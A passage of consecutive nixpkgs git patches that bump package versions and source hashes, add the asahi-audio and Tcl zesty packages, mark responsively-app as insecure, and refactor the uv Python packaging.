-      url = "https://downloads.cursor.com/production/53b99ce608cba35127ae3a050c1738a959750865/linux/arm64/Cursor-1.0.0-aarch64.AppImage";
-      hash = "sha256-/F+OUD+sjnIt2ishusi7F/W1kK/n7hwL7Bz1cO3u+x4=";
+      url = "https://downloads.cursor.com/production/979ba33804ac150108481c14e0b5cb970bda3266/linux/arm64/Cursor-1.1.3-aarch64.AppImage";
+      hash = "sha256-1uWfTOrBcCX6QWTwB9C45RsjLqu2C89DQkqKFTHsKxg=";
     };
     x86_64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/53b99ce608cba35127ae3a050c1738a959750865/darwin/x64/Cursor-darwin-x64.dmg";
-      hash = "sha256-7JTgauy+vdoaPOtbYjhSCR+ZtVwzRYKHVelpnvS5oKw=";
+      url = "https://downloads.cursor.com/production/979ba33804ac150108481c14e0b5cb970bda3266/darwin/x64/Cursor-darwin-x64.dmg";
+      hash = "sha256-q5/bmv+QDAkuMOUcaCspJrkaxrz9dBRJKf1eFhk9M04=";
     };
     aarch64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/53b99ce608cba35127ae3a050c1738a959750865/darwin/arm64/Cursor-darwin-arm64.dmg";
-      hash = "sha256-kbSN4+ozVGVAGLqEuaDnWBNfzmFHYdAvbOsCb/KTpe8=";
+      url = "https://downloads.cursor.com/production/979ba33804ac150108481c14e0b5cb970bda3266/darwin/arm64/Cursor-darwin-arm64.dmg";
+      hash = "sha256-vgcPwbRXFRtxIAUqbozFD9b21/XUAAojMv9/UnEYvb8=";
     };
   };
 
@@ -39,7 +39,7 @@ in
   inherit useVSCodeRipgrep;
   commandLineArgs = finalCommandLineArgs;
 
-  version = "1.0.0";
+  version = "1.1.3";
   pname = "cursor";
 
   # You can find the current VSCode version in the About dialog:

From 5f1b48dca57d968f81f892e6d630fd51db304560 Mon Sep 17 00:00:00 2001
From: qbisi <qbisicwate@gmail.com>
Date: Tue, 17 Jun 2025 11:03:29 +0800
Subject: [PATCH 1563/4511] netgen: move pythonImportsCheckHook to
 nativeBuildInputs

(cherry picked from commit 4e3d543f4dd36b7573b1f5ce344d89e519839fac)
---
 pkgs/by-name/ne/netgen/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ne/netgen/package.nix b/pkgs/by-name/ne/netgen/package.nix
index a58e521737db..95779e96c33c 100644
--- a/pkgs/by-name/ne/netgen/package.nix
+++ b/pkgs/by-name/ne/netgen/package.nix
@@ -100,6 +100,7 @@ stdenv.mkDerivation (finalAttrs: {
     imagemagick
     cmake
     python3Packages.pybind11-stubgen
+    python3Packages.pythonImportsCheckHook
   ] ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
 
   buildInputs = [
@@ -194,7 +195,6 @@ stdenv.mkDerivation (finalAttrs: {
     python3Packages.pytest
     python3Packages.pytest-check
     python3Packages.pytest-mpi
-    python3Packages.pythonImportsCheckHook
     mpiCheckPhaseHook
   ];
 

From 2a3134ee2f52bfaa8b4818d337eec2335ac8fcf2 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 25 Jun 2025 17:39:31 +0200
Subject: [PATCH 1564/4511] responsively-app: mark as insecure

Uses electron 27 (EOL since over a year) and has been dropped in unstable
---
 pkgs/by-name/re/responsively-app/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/re/responsively-app/package.nix b/pkgs/by-name/re/responsively-app/package.nix
index f7fbe7c8dc9c..3603e6cdf3b6 100644
--- a/pkgs/by-name/re/responsively-app/package.nix
+++ b/pkgs/by-name/re/responsively-app/package.nix
@@ -26,6 +26,10 @@ appimageTools.wrapType2 rec {
   '';
 
   meta = {
+    knownVulnerabilities = [
+      "Uses electron 27 which is EOL and has multiple vulnerabilities"
+      "Has been dropped in Nixpkgs unstable and is unmaintained"
+    ];
     description = "Modified web browser that helps in responsive web development";
     mainProgram = "responsively-desktop";
     homepage = "https://responsively.app/";

From ff44a7ae68cd61052ebbac1a6cb10609d259290a Mon Sep 17 00:00:00 2001
From: qbisi <qbisicwate@gmail.com>
Date: Wed, 18 Jun 2025 00:19:42 +0800
Subject: [PATCH 1565/4511] netgen: typo fixup

(cherry picked from commit d79bf12714703a6f316360b9361baeea43c4639b)
---
 pkgs/by-name/ne/netgen/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ne/netgen/package.nix b/pkgs/by-name/ne/netgen/package.nix
index 95779e96c33c..bae7c66e495e 100644
--- a/pkgs/by-name/ne/netgen/package.nix
+++ b/pkgs/by-name/ne/netgen/package.nix
@@ -164,7 +164,7 @@ stdenv.mkDerivation (finalAttrs: {
       mkdir -p $out/Applications/${finalAttrs.pname}.app/Contents/{MacOS,Resouces}
       substituteInPlace $out/Info.plist --replace-fail "Netgen1" "netgen"
       mv $out/Info.plist $out/Applications/${finalAttrs.pname}.app/Contents
-      mv $out/Netgen.icns $out/Applications/${finalAttrs.pname}.app/Contents/Resouces
+      mv $out/Netgen.icns $out/Applications/${finalAttrs.pname}.app/Contents/Resources
       ln -s $out/bin/netgen $out/Applications/${finalAttrs.pname}.app/Contents/MacOS/netgen
     ''
     + lib.optionalString stdenv.hostPlatform.isLinux ''

From 7782e95c49693f69238e84a1d5f26630193e3ce9 Mon Sep 17 00:00:00 2001
From: qbisi <qbisicwate@gmail.com>
Date: Tue, 17 Jun 2025 11:25:30 +0800
Subject: [PATCH 1566/4511] netgen: 6.2.2501 -> 6.2.2504

Diff: https://github.com/NGSolve/netgen/compare/v6.2.2501...v6.2.2504
(cherry picked from commit ed83268acabc365dd8de9c63f1e883518c83fc97)
---
 pkgs/by-name/ne/netgen/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ne/netgen/package.nix b/pkgs/by-name/ne/netgen/package.nix
index bae7c66e495e..e89f9ad4d972 100644
--- a/pkgs/by-name/ne/netgen/package.nix
+++ b/pkgs/by-name/ne/netgen/package.nix
@@ -35,13 +35,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "netgen";
-  version = "6.2.2501";
+  version = "6.2.2504";
 
   src = fetchFromGitHub {
     owner = "ngsolve";
     repo = "netgen";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-IzYulT3bo7XZiEEy8vNCct0zqHCnbQaH+y4fHMorzZw=";
+    hash = "sha256-N4mmh2H2qvc+3Pa9CHm38arViI76Qvwp8fOVGZbMv1M=";
   };
 
   patches = [

From 06eb666a439f6151f56636ed2e57184c8c735e63 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 12:48:27 +0000
Subject: [PATCH 1567/4511] buildbox: 1.3.11 -> 1.3.21

(cherry picked from commit 67c06904e08d8bd590dac68b4fb27fe6143202c1)
---
 pkgs/by-name/bu/buildbox/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bu/buildbox/package.nix b/pkgs/by-name/bu/buildbox/package.nix
index 1a370c55d8c8..e848f28b9170 100644
--- a/pkgs/by-name/bu/buildbox/package.nix
+++ b/pkgs/by-name/bu/buildbox/package.nix
@@ -21,13 +21,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "buildbox";
-  version = "1.3.11";
+  version = "1.3.21";
 
   src = fetchFromGitLab {
     owner = "BuildGrid";
     repo = "buildbox/buildbox";
     tag = finalAttrs.version;
-    hash = "sha256-lIRYwZLjYCpA4TMO3GF/yykVKn7LDyNHW9zItZmS9vM=";
+    hash = "sha256-gZ4PnaIiMPh18Yy2120yIEaQaFpzGNnWXzS7Uw+n/+k=";
   };
 
   nativeBuildInputs = [

From 0a23f9a7675ef7b6187bc6a7175f22adb37fe5fb Mon Sep 17 00:00:00 2001
From: DeftDawg <deftdawg@gmail.com>
Date: Sat, 7 Jun 2025 04:13:13 -0400
Subject: [PATCH 1568/4511] nano: update nixSyntaxHighlight

(cherry picked from commit 971f03a0b9f071fe2dbf61b0db42a4470aa53b98)
---
 pkgs/by-name/na/nano/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/na/nano/package.nix b/pkgs/by-name/na/nano/package.nix
index d0b543fa0a37..e2421d99bae2 100644
--- a/pkgs/by-name/na/nano/package.nix
+++ b/pkgs/by-name/na/nano/package.nix
@@ -24,8 +24,8 @@ let
   nixSyntaxHighlight = fetchFromGitHub {
     owner = "seitz";
     repo = "nanonix";
-    rev = "bf8d898efaa10dce3f7972ff765b58c353b4b4ab";
-    hash = "sha256-1tJV7F+iwMPRV6FgnbTw+5m7vMhgaeXftYkr9GPR4xw=";
+    rev = "5c30e1de6d664d609ff3828a8877fba3e06ca336";
+    hash = "sha256-S9p/g8DZhZ1cZdyFI6eaOxxGAbz+dloFEWdamAHo120=";
   };
 
 in

From 0dca2e96e2951448c2cba19ef0dfe4b0c8b7c35d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 28 May 2025 20:32:15 +0000
Subject: [PATCH 1569/4511] gcsfuse: 2.11.1 -> 2.12.1

(cherry picked from commit 49eac9b53dcc346e3c6c1326954179517c5a737c)
---
 pkgs/by-name/gc/gcsfuse/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gc/gcsfuse/package.nix b/pkgs/by-name/gc/gcsfuse/package.nix
index f7ddc88d40b4..0b858888eee5 100644
--- a/pkgs/by-name/gc/gcsfuse/package.nix
+++ b/pkgs/by-name/gc/gcsfuse/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "gcsfuse";
-  version = "2.11.1";
+  version = "2.12.1";
 
   src = fetchFromGitHub {
     owner = "googlecloudplatform";
     repo = "gcsfuse";
     rev = "v${version}";
-    hash = "sha256-SWbIfAE/pmokhJO0rimfHqxqOH23HrJRTJHDikNC7TI=";
+    hash = "sha256-5sQU1yVt4oOSpanteeH2eBHNphbPoGPhS8m2ZkPr1sE=";
   };
 
-  vendorHash = "sha256-Xw2XsDhQpJJq7peh015ckIvV7yG87dE+HZ2b+XwuXMY=";
+  vendorHash = "sha256-aXhgl7CQavI6iSQ6AVt9x536bQxlbRIqkUf99MudoYI=";
 
   subPackages = [
     "."

From 501a83fa9e7a50a07697bf73d01732890f59e63d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 15:39:49 +0000
Subject: [PATCH 1570/4511] gcsfuse: 2.12.1 -> 2.12.2

(cherry picked from commit e8d7a4d428b081e7f0f7d9285bdef9ec10e17e17)
---
 pkgs/by-name/gc/gcsfuse/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gc/gcsfuse/package.nix b/pkgs/by-name/gc/gcsfuse/package.nix
index 0b858888eee5..589a7f116823 100644
--- a/pkgs/by-name/gc/gcsfuse/package.nix
+++ b/pkgs/by-name/gc/gcsfuse/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "gcsfuse";
-  version = "2.12.1";
+  version = "2.12.2";
 
   src = fetchFromGitHub {
     owner = "googlecloudplatform";
     repo = "gcsfuse";
     rev = "v${version}";
-    hash = "sha256-5sQU1yVt4oOSpanteeH2eBHNphbPoGPhS8m2ZkPr1sE=";
+    hash = "sha256-WuCrwL7iM9U4qXtLNntLeOxELe+tR7dsbsJyvdLHVaI=";
   };
 
-  vendorHash = "sha256-aXhgl7CQavI6iSQ6AVt9x536bQxlbRIqkUf99MudoYI=";
+  vendorHash = "sha256-aj3NvgKuaBiAfPNLYK9g7kzBcdeMkC4I6jjtvFHxsU8=";
 
   subPackages = [
     "."

From 306fe99696fbe499b589dd35417ba4844a2db1ab Mon Sep 17 00:00:00 2001
From: erkingoksuu <erkingoksuu@gmail.com>
Date: Wed, 25 Jun 2025 08:09:11 +0300
Subject: [PATCH 1571/4511] mcpelauncher-{client,ui-qt}: 1.3.0-qt6 -> 1.4.0-qt6

(cherry picked from commit 3281dca57b9eb13f2b447738e8be6abc05046640)
---
 pkgs/by-name/mc/mcpelauncher-client/package.nix | 6 ++++--
 pkgs/by-name/mc/mcpelauncher-ui-qt/package.nix  | 2 +-
 2 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mc/mcpelauncher-client/package.nix b/pkgs/by-name/mc/mcpelauncher-client/package.nix
index c43a563a7e2f..bf09a4ab8ee8 100644
--- a/pkgs/by-name/mc/mcpelauncher-client/package.nix
+++ b/pkgs/by-name/mc/mcpelauncher-client/package.nix
@@ -20,12 +20,13 @@
   fetchzip,
   zenity,
   xdg-utils,
+  sdl3,
 }:
 
 # Bionic libc part doesn't compile with GCC
 clangStdenv.mkDerivation (finalAttrs: {
   pname = "mcpelauncher-client";
-  version = "1.3.0-qt6";
+  version = "1.4.0-qt6";
 
   # NOTE: check mcpelauncher-ui-qt when updating
   src = fetchFromGitHub {
@@ -33,7 +34,7 @@ clangStdenv.mkDerivation (finalAttrs: {
     repo = "mcpelauncher-manifest";
     tag = "v${finalAttrs.version}";
     fetchSubmodules = true;
-    hash = "sha256-/I6hCnRSFHX30Gd0jErx5Uy/o8JCdYexsMRDKMUOWWI=";
+    hash = "sha256-2YmsxcR4EipnBIBqoM8g6hOCCh1WKooukqXhP/1X6tU=";
   };
 
   patches = [ ./dont_download_glfw_client.patch ];
@@ -73,6 +74,7 @@ clangStdenv.mkDerivation (finalAttrs: {
       curl
       pulseaudio
       glfw
+      sdl3
     ]
     ++ lib.optionals (withQtWebview || withQtErrorWindow) [
       qt6.qtbase
diff --git a/pkgs/by-name/mc/mcpelauncher-ui-qt/package.nix b/pkgs/by-name/mc/mcpelauncher-ui-qt/package.nix
index 39ccb25196d6..ee83e179fe40 100644
--- a/pkgs/by-name/mc/mcpelauncher-ui-qt/package.nix
+++ b/pkgs/by-name/mc/mcpelauncher-ui-qt/package.nix
@@ -22,7 +22,7 @@ stdenv.mkDerivation (finalAttrs: {
     repo = "mcpelauncher-ui-manifest";
     tag = "v${finalAttrs.version}";
     fetchSubmodules = true;
-    hash = "sha256-OvzdXr2Q7PHonaQ+y3VeAODCCVWBwuSCgUW3GghA1Ys=";
+    hash = "sha256-W97PIb2NTfmqLsIQgrJkOb+8n3fDzlE91sDvgJbNFwY=";
   };
 
   patches = [

From ee37e9ee82f9c415af7926fab195c26d41502f05 Mon Sep 17 00:00:00 2001
From: 06kellyjac <dev@j-k.io>
Date: Tue, 24 Jun 2025 13:42:15 +0100
Subject: [PATCH 1572/4511] deploy-rs: 0-unstable-2024-06-12 ->
 0-unstable-2025-06-05

(cherry picked from commit 431ff6f6d770d7c2cd6ee56b8b601017ad03a882)
---
 pkgs/by-name/de/deploy-rs/package.nix | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/de/deploy-rs/package.nix b/pkgs/by-name/de/deploy-rs/package.nix
index e618554e01b5..ecd717721468 100644
--- a/pkgs/by-name/de/deploy-rs/package.nix
+++ b/pkgs/by-name/de/deploy-rs/package.nix
@@ -6,23 +6,26 @@
 
 rustPlatform.buildRustPackage {
   pname = "deploy-rs";
-  version = "0-unstable-2024-06-12";
+  version = "0-unstable-2025-06-05";
 
   src = fetchFromGitHub {
     owner = "serokell";
     repo = "deploy-rs";
-    rev = "3867348fa92bc892eba5d9ddb2d7a97b9e127a8a";
-    hash = "sha256-FaGrf7qwZ99ehPJCAwgvNY5sLCqQ3GDiE/6uLhxxwSY=";
+    rev = "6bc76b872374845ba9d645a2f012b764fecd765f";
+    hash = "sha256-hXh76y/wDl15almBcqvjryB50B0BaiXJKk20f314RoE=";
   };
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-e+Exc0lEamAieZ7QHJBYvmnmM/9YHdLRD3La4U5FRMo=";
+  cargoHash = "sha256-9O93YTEz+e2oxenE0gwxsbz55clbKo9+37yVOqz7ErE=";
 
   meta = {
     description = "Multi-profile Nix-flake deploy tool";
     homepage = "https://github.com/serokell/deploy-rs";
     license = lib.licenses.mpl20;
-    maintainers = with lib.maintainers; [ teutat3s ];
+    maintainers = with lib.maintainers; [
+      teutat3s
+      jk
+    ];
+    teams = [ lib.teams.serokell ];
     mainProgram = "deploy";
   };
 }

From ac83a0abaa733d766730a7d644ebbd6e6b680bb0 Mon Sep 17 00:00:00 2001
From: Jasi <normalc@posteo.net>
Date: Mon, 23 Jun 2025 21:53:44 -0400
Subject: [PATCH 1573/4511] asahi-audio: init at 3.4

(cherry picked from commit b88bfbd84439bed62e451a0a8e6eb3cdb83e7345)
---
 pkgs/by-name/as/asahi-audio/package.nix | 78 +++++++++++++++++++++++++
 1 file changed, 78 insertions(+)
 create mode 100644 pkgs/by-name/as/asahi-audio/package.nix

diff --git a/pkgs/by-name/as/asahi-audio/package.nix b/pkgs/by-name/as/asahi-audio/package.nix
new file mode 100644
index 000000000000..88b923dba3b1
--- /dev/null
+++ b/pkgs/by-name/as/asahi-audio/package.nix
@@ -0,0 +1,78 @@
+{
+  lib,
+  stdenvNoCC,
+  fetchFromGitHub,
+  lsp-plugins,
+  bankstown-lv2,
+  triforce-lv2,
+  nix-update-script,
+}:
+stdenvNoCC.mkDerivation (finalAttrs: {
+  pname = "asahi-audio";
+  version = "3.4";
+
+  src = fetchFromGitHub {
+    owner = "AsahiLinux";
+    repo = "asahi-audio";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-7AuPkR/M1a4zB9+dJuOuv9uTp+kIqPlxVOXipsyGGz8=";
+  };
+
+  makeFlags = [
+    "DESTDIR=$(out)"
+    "DATA_DIR=share"
+  ];
+
+  fixupPhase = ''
+    runHook preFixup
+
+    for config_file in $(find $out -type f -not -name '*.wav') ; do
+        substituteInPlace "$config_file" --replace-warn "/usr" "$out"
+    done
+
+    runHook postFixup
+  '';
+
+  passthru = {
+    updateScript = nix-update-script { };
+    requiredLv2Packages = [
+      lsp-plugins
+      bankstown-lv2
+      triforce-lv2
+    ];
+  };
+
+  meta = {
+    description = "Linux userspace audio configuration for Apple Silicon Macs";
+    longDescription = ''
+      This package contains DSP configuration files for Apple Silicon
+      Macs supported by the Asahi Linux project. The goal is to make
+      the Asahi Linux audio experience better than macOS, and in doing
+      so demonstrate that desktop Linux audio can be made fit for
+      purpose with a little bit of effort.
+
+      Currently Supported Devices (speakers)
+        - MacBook Air (13-inch, M1, 2020)
+        - MacBook Air (13-inch, M2, 2022)
+        - MacBook Air (15-inch, M2, 2023)
+        - MacBook Pro (13-inch, M1/M2, 2020/2022)
+        - MacBook Pro (14-inch, M1/M2 Pro/Max, 2021/2023)
+        - MacBook Pro (16-inch, M1/M2 Pro/Max, 2021/2023)
+        - Mac mini (M1/M2/M2 Pro, 2020/2023)
+        - Mac Studio (M1/M2 Max/Ultra, 2022/2023)
+
+      Currently Supported Devices (microphones)
+        - MacBook Air (13-inch, M1, 2020)
+        - MacBook Air (13-inch, M2, 2022)
+        - MacBook Air (15-inch, M2, 2023)
+        - MacBook Pro (13-inch, M1/M2, 2020/2022)
+        - MacBook Pro (14-inch, M1/M2 Pro/Max, 2021/2023)
+        - MacBook Pro (16-inch, M1/M2 Pro/Max, 2021/2023)
+    '';
+    homepage = "https://github.com/AsahiLinux/asahi-audio";
+    changelog = "https://github.com/AsahiLinux/asahi-audio/releases/tag/v${finalAttrs.version}";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ normalcea ];
+    platforms = [ "aarch64-linux" ];
+  };
+})

From c78f0df0b9264cac12ef04e1be1f3c9befab88cc Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Wed, 25 Jun 2025 16:53:54 +0100
Subject: [PATCH 1574/4511] google-chrome: 137.0.7151.119 -> 138.0.7204.49

(cherry picked from commit 870160b835ca48600c23de084147a195dd0f182a)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 8f67ca1bd1d6..7e476bdd87a4 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.119";
+    version = "138.0.7204.49";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-EcU3pulP1I+8kKvtHJSvNato2/bzF+XaZIAvJm6KGHo=";
+      hash = "sha256-FHYjo8rPmruJWEpHnkJHs5Ht0NP2GwGSKNYbDCtQmSY=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.120";
+    version = "138.0.7204.50";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/krvhzfpcltd2q6vp72nycv3pqi_137.0.7151.120/GoogleChrome-137.0.7151.120.dmg";
-      hash = "sha256-8DmeV1zhlNFRb18W/6r+eJugFHFQ4XqYJhxcEZT/8yE=";
+      url = "http://dl.google.com/release2/chrome/a4ahzfkgyxfqoxgobvw6tfhnre_138.0.7204.50/GoogleChrome-138.0.7204.50.dmg";
+      hash = "sha256-/VsCUAowk59whR7GYBqzNjp3+aMih68L/6zbfytesOk=";
     };
 
     dontPatch = true;

From 6b75a9ba2725ea6f968626332d21648174a5f6f7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 25 Jun 2025 09:28:52 +0000
Subject: [PATCH 1575/4511] gitlab-runner: 17.11.0 -> 18.1.0

(cherry picked from commit c779137ce3f5a24d0a4c16c32d279c387d35cbd8)
---
 pkgs/by-name/gi/gitlab-runner/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gi/gitlab-runner/package.nix b/pkgs/by-name/gi/gitlab-runner/package.nix
index 9a78beeaf392..66d691a25e0e 100644
--- a/pkgs/by-name/gi/gitlab-runner/package.nix
+++ b/pkgs/by-name/gi/gitlab-runner/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "gitlab-runner";
-  version = "17.11.0";
+  version = "18.1.0";
 
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Jppy8IG0Oq95RDDkvN1FpXjJuSc3DkfhGgnfpaUSKa4=";
+    hash = "sha256-Bm3WP8d4Fpcjj/2Ljl9AuhULTMHvWjOKjhN3tx6lEQQ=";
   };
 
-  vendorHash = "sha256-wxFVDkqiqs7jaZEPGyawWfs6h6UgAhCWSckM90G44lA=";
+  vendorHash = "sha256-7efuq0D1X+HJF4RT5bSri2B0Ad/AzbsKWFYGdtQxA+Q=";
 
   # For patchShebangs
   buildInputs = [ bash ];

From 943c3a9eae6fc03404affde1c0cd780a0e21eae0 Mon Sep 17 00:00:00 2001
From: Francesco Gazzetta <fgaz@fgaz.me>
Date: Sat, 21 Jun 2025 23:52:20 +0200
Subject: [PATCH 1576/4511] tclPackages.zesty: init at 0.1

(cherry picked from commit 498cd317116fc9bba9b076bd41e3ced8178d7844)
---
 .../tcl-modules/by-name/ze/zesty/package.nix  | 41 +++++++++++++++++++
 1 file changed, 41 insertions(+)
 create mode 100644 pkgs/development/tcl-modules/by-name/ze/zesty/package.nix

diff --git a/pkgs/development/tcl-modules/by-name/ze/zesty/package.nix b/pkgs/development/tcl-modules/by-name/ze/zesty/package.nix
new file mode 100644
index 000000000000..05418d6d342c
--- /dev/null
+++ b/pkgs/development/tcl-modules/by-name/ze/zesty/package.nix
@@ -0,0 +1,41 @@
+{
+  lib,
+  mkTclDerivation,
+  fetchFromGitHub,
+  tcllib,
+  nix-update-script,
+}:
+
+mkTclDerivation rec {
+  pname = "zesty";
+  version = "0.1";
+
+  src = fetchFromGitHub {
+    owner = "nico-robert";
+    repo = "zesty";
+    tag = "v${version}";
+    hash = "sha256-XJdgS1Lf5B5VjGq2gztc5p3E7TLiibaYfU9f8r1wKOc=";
+  };
+
+  propagatedBuildInputs = [
+    tcllib
+  ];
+
+  installPhase = ''
+    runHook preInstall
+
+    install -Dm644 -t $out/lib/zesty/ *.tcl
+
+    runHook postInstall
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Tcl library for rich terminal output";
+    homepage = "https://github.com/nico-robert/zesty";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ fgaz ];
+    platforms = lib.platforms.all;
+  };
+}

From dec758843f10188c0bbbab914910af9d393fba66 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Fri, 16 May 2025 17:22:06 +0200
Subject: [PATCH 1577/4511] [python3Packages.]uv: Remove cmake and pkg-config
 as dependencies

(cherry picked from commit 05c83e6a792bb35dc89932ae7eb07b9f4fd3d698)
---
 pkgs/by-name/uv/uv/package.nix                 | 14 ++------------
 pkgs/development/python-modules/uv/default.nix |  4 ----
 2 files changed, 2 insertions(+), 16 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index c068002c920c..9c57f911f356 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -8,9 +8,7 @@
   rust-jemalloc-sys,
 
   # nativeBuildInputs
-  cmake,
   installShellFiles,
-  pkg-config,
 
   buildPackages,
   versionCheckHook,
@@ -36,13 +34,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     rust-jemalloc-sys
   ];
 
-  nativeBuildInputs = [
-    cmake
-    installShellFiles
-    pkg-config
-  ];
-
-  dontUseCmakeConfigure = true;
+  nativeBuildInputs = [ installShellFiles ];
 
   cargoBuildFlags = [
     "--package"
@@ -64,9 +56,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ''
   );
 
-  nativeInstallCheckInputs = [
-    versionCheckHook
-  ];
+  nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgramArg = "--version";
   doInstallCheck = true;
 
diff --git a/pkgs/development/python-modules/uv/default.nix b/pkgs/development/python-modules/uv/default.nix
index 57f9bd8238df..6d0bbdb3cd24 100644
--- a/pkgs/development/python-modules/uv/default.nix
+++ b/pkgs/development/python-modules/uv/default.nix
@@ -1,7 +1,6 @@
 {
   buildPythonPackage,
   installShellFiles,
-  pkg-config,
   rustPlatform,
   pkgs,
 }:
@@ -12,7 +11,6 @@ buildPythonPackage {
     version
     src
     cargoDeps
-    dontUseCmakeConfigure
     meta
     cargoBuildFlags
     postInstall
@@ -25,9 +23,7 @@ buildPythonPackage {
   '';
 
   nativeBuildInputs = [
-    pkgs.cmake
     installShellFiles
-    pkg-config
     rustPlatform.cargoSetupHook
     rustPlatform.maturinBuildHook
   ];

From ccc16772ba13bc761d639acb116c1c4f91116c10 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Fri, 16 May 2025 17:55:50 +0200
Subject: [PATCH 1578/4511] python3Packages.uv: add `versionCheckHook` to use
 inherited `versionCheckProgramArg`

(cherry picked from commit c185b63cd5368aa3660eb32e71e6264c2299b6d4)
---
 pkgs/development/python-modules/uv/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/development/python-modules/uv/default.nix b/pkgs/development/python-modules/uv/default.nix
index 6d0bbdb3cd24..726a861372db 100644
--- a/pkgs/development/python-modules/uv/default.nix
+++ b/pkgs/development/python-modules/uv/default.nix
@@ -3,6 +3,7 @@
   installShellFiles,
   rustPlatform,
   pkgs,
+  versionCheckHook,
 }:
 
 buildPythonPackage {
@@ -28,6 +29,8 @@ buildPythonPackage {
     rustPlatform.maturinBuildHook
   ];
 
+  nativeCheckInputs = [ versionCheckHook ];
+
   pyproject = true;
   pythonImportsCheck = [ "uv" ];
 }

From 9752cc5e90a92f71451b730464ca1407838aa0d3 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Fri, 30 May 2025 02:21:26 +0200
Subject: [PATCH 1579/4511] python3Packages.uv: reuse already built uv binary

master: `nix-build -A python3Packages.uv` - `0.59s user 0.19s system 0% cpu 12:01.12 total`
branch: `nix-build -A python3Packages.uv` - `1.55s user 0.15s system 7% cpu 9.331 total`
(cherry picked from commit 0b12c690c53b5d98d8fc75e2469eff1c4f08a7e3)
---
 .../development/python-modules/uv/default.nix | 51 +++++++++++--------
 pkgs/top-level/python-packages.nix            |  2 +-
 2 files changed, 31 insertions(+), 22 deletions(-)

diff --git a/pkgs/development/python-modules/uv/default.nix b/pkgs/development/python-modules/uv/default.nix
index 726a861372db..2ab81cf60602 100644
--- a/pkgs/development/python-modules/uv/default.nix
+++ b/pkgs/development/python-modules/uv/default.nix
@@ -1,36 +1,45 @@
 {
   buildPythonPackage,
-  installShellFiles,
-  rustPlatform,
-  pkgs,
-  versionCheckHook,
+  hatchling,
+  lib,
+  uv,
 }:
 
 buildPythonPackage {
-  inherit (pkgs.uv)
+  inherit (uv)
     pname
     version
     src
-    cargoDeps
     meta
-    cargoBuildFlags
-    postInstall
-    versionCheckProgramArg
     ;
+  pyproject = true;
 
-  postPatch = ''
-    substituteInPlace python/uv/_find_uv.py \
